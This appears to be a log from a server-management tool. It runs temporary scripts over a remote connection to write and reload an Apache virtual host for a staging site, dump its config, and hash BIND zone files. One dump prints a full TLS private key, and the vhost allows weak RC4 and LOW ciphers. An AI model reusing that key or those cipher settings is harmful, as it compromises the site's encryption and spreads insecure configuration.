    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_stage.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1'
fi


2026-02-11 06:00:19: 

chmod 755 /tmp/pkp226894; /tmp/pkp226894; rm /tmp/pkp226894

2026-02-11 06:00:19: 




2026-02-11 06:00:19: 

PUT: /tmp/pkp192914

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-11 06:00:20: 

chmod 755 /tmp/pkp192914; /tmp/pkp192914; rm /tmp/pkp192914

2026-02-11 06:00:20: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-11 06:00:20: Establishing a connection
2026-02-11 06:00:21: 

PUT: /tmp/pkp200001

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-11 06:00:22: 

chmod 755 /tmp/pkp200001; /tmp/pkp200001; rm /tmp/pkp200001

2026-02-11 06:00:22: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-11 06:00:22: 

PUT: /tmp/pkp137776

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_stage.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-11 06:00:22: 

chmod 755 /tmp/pkp137776; /tmp/pkp137776; rm /tmp/pkp137776

2026-02-11 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf	1303

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-11 06:00:23: 

PUT: /tmp/pkp436525

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-11 06:00:23: 

chmod 755 /tmp/pkp436525; /tmp/pkp436525; rm /tmp/pkp436525

2026-02-11 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt	5393
7f:02:c6:f9:eb:16:a1:51:ec:62:e4:6c:dd:92:ae:7e

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBnTA9VSyfSVuISZRLs9WzpjIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjExMDUwMTQyWhcNMjYwNTEyMDUwMTQxWjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQC1+YZLcqUmaAiNd3DZVFFQfQ+ugymN90I/4njiWoKur0Xh
3OiyjftlyK+oz/xBrgLufsNAnegPn7BiQDaryaS1qFKgtd0W3ZQ60PrnHAlpH8fp
9E2sdJwF9scmU3fcVgU1nEDY/ChcnHeCDTTU92cUbVbHUZRmizWxnKlMEIzZABa+
C6sV9fi3PA44QW3bNlVvtT8/FCPYM5Ip/qgduodiAfUWU+8bRacvDh955n+F1qnO
pC9NXZCE8gkBuZp3UHy4uFbN5AOeaS8LD2YEb5JAtPkcjSshBV18t5dU64002Qmh
L3R1Rpqaa7BqXR/YPq6yuXrirRcFUdxe8QW7RBD5AgMBAAGjggIzMIICLzAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFKhjdl1D6pN4cT+UHmHOic6k1B/6MB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNzMuY3JsMIIBDAYK
KwYBBAHWeQIEAgSB/QSB+gD4AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGcS0krRwAABAMARzBFAiEAvYGmVrZoczQ1WFOB3WO2D19QemHH5dIA
6xky2HtczIMCIHs8OdRE5DxJpJD5nXdvUSQ5OORJL/6odE4pqJEY6j3pAH4Apcl4
kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGcS0ku5QAIAAAFADHWdQwE
AwBHMEUCICGI6ImqRY0IgckSrX/TANROEmM14PFhkoH0yGLouXm5AiEA7Y7Sxcmo
toRVl3yWYmZINn2R9IadfX5+K253b/1X4i8wDQYJKoZIhvcNAQELBQADggEBAAWq
TeZdfJI/kQtF73uNJ2rvjqZEOrqK2im0A4zaUmjK1LJZZ1AFsQmCkSHE1SUTTaCs
iE8AQFzR3Gtt8lghpzi9HQzXz7mv048bTnF/cx90ZTWGtO+I5DgDzwll+pexJv+I
p5xP3OqBncwylBpBnTQmCMxdK9AWh4vdHbI8M+mYq8Wm4jTeUtV960tEDjQf7id8
jFoo1gbeE5joxGqcaIuJ83a5sOPT6RnA59ai/k26lb6KfQwDsxTD7eRyxr4Pw95l
p7inrmi+voDxNxZeVYZHzsnf3GyDYP/WvOqUCCrhz+cACWuVTv4+44ESCf6wbGUR
JtPXWRWanei5l4yP+Nk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1+YZLcqUmaAiN
d3DZVFFQfQ+ugymN90I/4njiWoKur0Xh3OiyjftlyK+oz/xBrgLufsNAnegPn7Bi
QDaryaS1qFKgtd0W3ZQ60PrnHAlpH8fp9E2sdJwF9scmU3fcVgU1nEDY/ChcnHeC
DTTU92cUbVbHUZRmizWxnKlMEIzZABa+C6sV9fi3PA44QW3bNlVvtT8/FCPYM5Ip
/qgduodiAfUWU+8bRacvDh955n+F1qnOpC9NXZCE8gkBuZp3UHy4uFbN5AOeaS8L
D2YEb5JAtPkcjSshBV18t5dU64002QmhL3R1Rpqaa7BqXR/YPq6yuXrirRcFUdxe
8QW7RBD5AgMBAAECggEAAMFBnj3CI2IGWg7jKhWkVjcEmgLbiOYcEV+HRJofRWn+
+lhEI1x9LN+LogHF4EBgbPyb4wBcsnblQI0XZPhLzYCeoiHLAmGmMCXGiq+mNthN
yCHOMi9UJ96tlhI90q1NLXsh1jyajsLL6J9VJyaFGBO5is9i9BdzADMADUuax/or
LZceCBefBkRGjddCrYfP/snFhOTft9rbK6Dbp2//OAppnl12wP34qNqso7eQtGfK
T5Pi7tZjgGvkJ0sbhkN+wlyjwQ48gTA04j8pQmJBZ0vLxygQBO4wZov2YOwqQdok
KsunfNhlVFaJawp4r7vazLcfj6+obS9lKcJ89eNa8QKBgQD9h3u3vRoxO80IILqE
dlueK48t5Ee6cKRAOhcF/PJTl+ghVBMlXayWdg2JOuZ3dA7cBvKl5uLWWQSqNFA9
Y0gop8SYtO/NwJSQBvVTSh/LgVCFZA7R7MSinNfrPophOt/1bdkz/7MoHiuNJtkd
trTEcGVr1DqNsk0dh/1B5xZVqQKBgQC3v4YRC7zzBPqrHfCW9u464QdLObUecugp
HAQWI3b1fXipemCw1FZr3rSO0MG5PL8CC8Y9+nrg9NOF8NRKP+qlaiWoBWyt/h3/
sVDMaveVQ7xsO4cCs0qohskGtTwpfRHlTBrIDSrDmL4Seh2DDlCQJtvcY5MIlt1X
PAhkBNhS0QKBgH5wDvc3S9S56irfh6WAEXj0aFeOvWbxvjh5v/mwiHnADHhyoYnF
CcmP3nhN85onOzHoFSM/3mjfxD/ODyZOWTJNWPJ/agjGvlCF59s94FVxjGK539o5
pmciqVwcuI58+ixAOE6CeyrKwRWIBkeXUteU5j+8e+cmwOa1Z0xynuThAoGBAJQm
L4n+1NF76j+dXCXb4ihG1wKn/IgYTWcX15Oh9H/qMiczLFJmYWeHoDylxAv+FmMn
6yZ9liVaQFF14zQaZK4J72KRPRbsFHPcGzE17XjDrF/3ftuGg2NtiReHeIJa/NrL
iaxSMXCS7m0nWDQajoorSolfH2WFfeCf3oQGBASBAoGBAPjIJjo+v7IFiG8mKO8C
D1A88fzS6pW1GCDH9E6H8Pcl19U195ABtr9Ai+8Y0NwkacKCo+RKxePty42BA5hA
ApyqCkmebXBD0W2341p9hJAgLvRrGNioyo9XUqmvqpH87v9Vlxoyuw3UEgCCAzM3
tBIuW4PHZ0Vz0xfzv3aqS9hh
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-12 18:16:09: Establishing a connection
2026-02-12 18:16:16: Establishing a connection
2026-02-12 18:16:16: 

PUT: /tmp/pkp235072

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-12 18:16:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp235072; rm /tmp/pkp235072'

2026-02-12 18:16:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
